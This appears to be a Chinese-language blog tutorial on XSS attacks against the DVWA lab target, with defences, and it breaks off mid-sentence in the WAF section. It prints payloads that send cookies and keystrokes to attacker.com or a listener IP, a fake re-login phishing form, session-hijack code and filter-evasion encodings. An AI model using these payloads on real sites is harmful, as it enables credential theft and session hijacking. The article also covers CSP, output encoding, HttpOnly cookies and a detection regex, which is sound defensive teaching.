ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

XSS攻击实战:从原理到防御全解析

XSS攻击实战:从原理到防御全解析

1. XSS攻击实战入门:从原理到Cookie窃取

渗透测试领域中,跨站脚本攻击(XSS)始终是Web安全的头号威胁之一。根据最新统计,超过65%的网站存在不同程度的XSS漏洞。不同于复杂的漏洞利用,XSS攻击门槛较低但危害极大——攻击者仅需几行JavaScript代码就能窃取用户凭证、操控会话甚至传播恶意软件。

我在实际渗透测试中发现,许多刚入行的安全工程师对XSS的理解停留在弹窗演示阶段,而忽略了其真正的杀伤力。本文将用靶机环境演示如何通过存储型XSS获取用户Cookie和密码,所有操作均在本地测试环境完成。

2. XSS攻击核心原理剖析

2.1 三种XSS类型对比

反射型XSS(非持久化):

  • 恶意脚本作为请求参数嵌入URL
  • 需要诱导用户点击特定链接
  • 典型场景:搜索框参数未过滤

存储型XSS(持久化):

  • 恶意脚本被保存到服务器数据库
  • 所有访问页面的用户都会触发
  • 典型场景:论坛评论、用户资料页

DOM型XSS:

  • 完全在客户端执行
  • 不依赖服务器响应
  • 典型场景:前端JS处理URL参数不当

实战提示:存储型XSS危害最大但需要存在数据存储功能,反射型XSS更适合钓鱼攻击,DOM型XSS常被高级攻击链利用

2.2 漏洞形成的关键条件

  1. 输入点未严格过滤:

    • 未转义<、>、'、"等特殊字符
    • 未验证Content-Type头
    • 错误配置CSP策略
  2. 输出点未编码处理:

    • innerHTML直接渲染用户输入
    • document.write动态生成内容
    • eval()执行用户可控字符串
  3. 会话管理缺陷:

    • Cookie未设置HttpOnly标志
    • 敏感操作无需二次验证
    • 密码明文传输或弱加密

3. 实战环境搭建

3.1 测试靶机配置

推荐使用DVWA(Damn Vulnerable Web Application)作为实验环境:

# 使用Docker快速部署 docker run --rm -it -p 8080:80 vulnerables/web-dvwa

关键配置项:

  1. 安全级别设为"Low"
  2. 关闭PHP的magic_quotes_gpc
  3. 确保allow_url_include=On

3.2 攻击工具准备

  1. 基本载荷测试:
<script>alert(document.domain)</script>
  1. Cookie窃取载荷:
<script> var img = new Image(); img.src = "http://attacker.com/steal?data="+document.cookie; </script>
  1. 键盘记录器:
document.onkeypress = function(e) { fetch('http://attacker.com/log', { method: 'POST', body: JSON.stringify({ key: String.fromCharCode(e.keyCode), page: window.location.href }) }) }

重要提醒:实际测试时请将attacker.com替换为本地监听地址(如127.0.0.1)

4. 完整攻击链演示

4.1 存储型XSS植入

  1. 登录DVWA后访问XSS(Stored)模块
  2. 在留言板插入恶意脚本:
<script> var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://192.168.1.100:8000/steal?cookie='+document.cookie, true); xhr.send(); </script>
  1. 启动NC监听:
nc -lvnp 8000

4.2 密码窃取进阶技巧

当目标站点存在自动登录功能时,可构造钓鱼表单:

<script> var form = document.createElement("form"); form.method = "POST"; form.action = "http://attacker.com/phishing"; var input1 = document.createElement("input"); input1.type = "text"; input1.name = "username"; var input2 = document.createElement("input"); input2.type = "password"; input2.name = "password"; form.appendChild(input1); form.appendChild(input2); document.body.appendChild(form); form.innerHTML += '<input type="submit" value="Session Expired, Please Re-login">'; </script>

4.3 会话劫持实战

获取到Cookie后的利用流程:

  1. 使用EditThisCookie等插件导入Cookie
  2. 访问目标站点验证会话有效性
  3. 尝试敏感操作(如密码修改、支付等)
// 自动化会话测试 fetch('/admin', { headers: { 'Cookie': 'PHPSESSID=窃取的会话ID' } }).then(response => response.text()) .then(data => console.log(data))

5. 防御方案深度解析

5.1 输入输出过滤策略

  1. 内容安全策略(CSP)配置示例:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; img-src *; style-src 'unsafe-inline';
  1. PHP过滤函数对比:
// 不安全示例 echo $_GET['input']; // 基础防护 echo htmlspecialchars($input, ENT_QUOTES); // 高级防护 $purifier = new HTMLPurifier(); echo $purifier->purify($input);

5.2 关键Cookie保护

// Java EE设置示例 Cookie cookie = new Cookie("JSESSIONID", sessionId); cookie.setHttpOnly(true); cookie.setSecure(true); cookie.setPath("/"); response.addCookie(cookie);

5.3 自动化检测方案

  1. OWASP ZAP被动扫描:
docker run -v $(pwd):/zap/wrk -t owasp/zap2docker zap-baseline.py \ -t http://target.com -r report.html
  1. 自定义XSS检测正则:
import re xss_pattern = re.compile( r'(<script.*?>|javascript:|on\w+\s*=)', re.IGNORECASE ) def detect_xss(payload): return bool(xss_pattern.search(payload))

6. 渗透测试中的高频问题

6.1 载荷被拦截的解决方案

  1. 编码绕过技巧:
// Hex编码 eval('\x61\x6c\x65\x72\x74\x28\x31\x29') // Unicode编码 <img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">
  1. 拆分混淆技术:
<script>z='al'</script> <script>z=z+'ert(1)'</script> <script>eval(z)</script>

6.2 现代浏览器的防护突破

  1. Chrome XSS Auditor绕过:
<!-- 利用iframe沙箱逃逸 --> <iframe srcdoc="<script>parent.alert(1)</script>"></iframe>
  1. 纯DOM型攻击链:
// 利用location.hash eval(decodeURIComponent(location.hash.slice(1)))

6.3 企业级防护建议

  1. WAF规则配置要点:
  • 拦截包含
RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进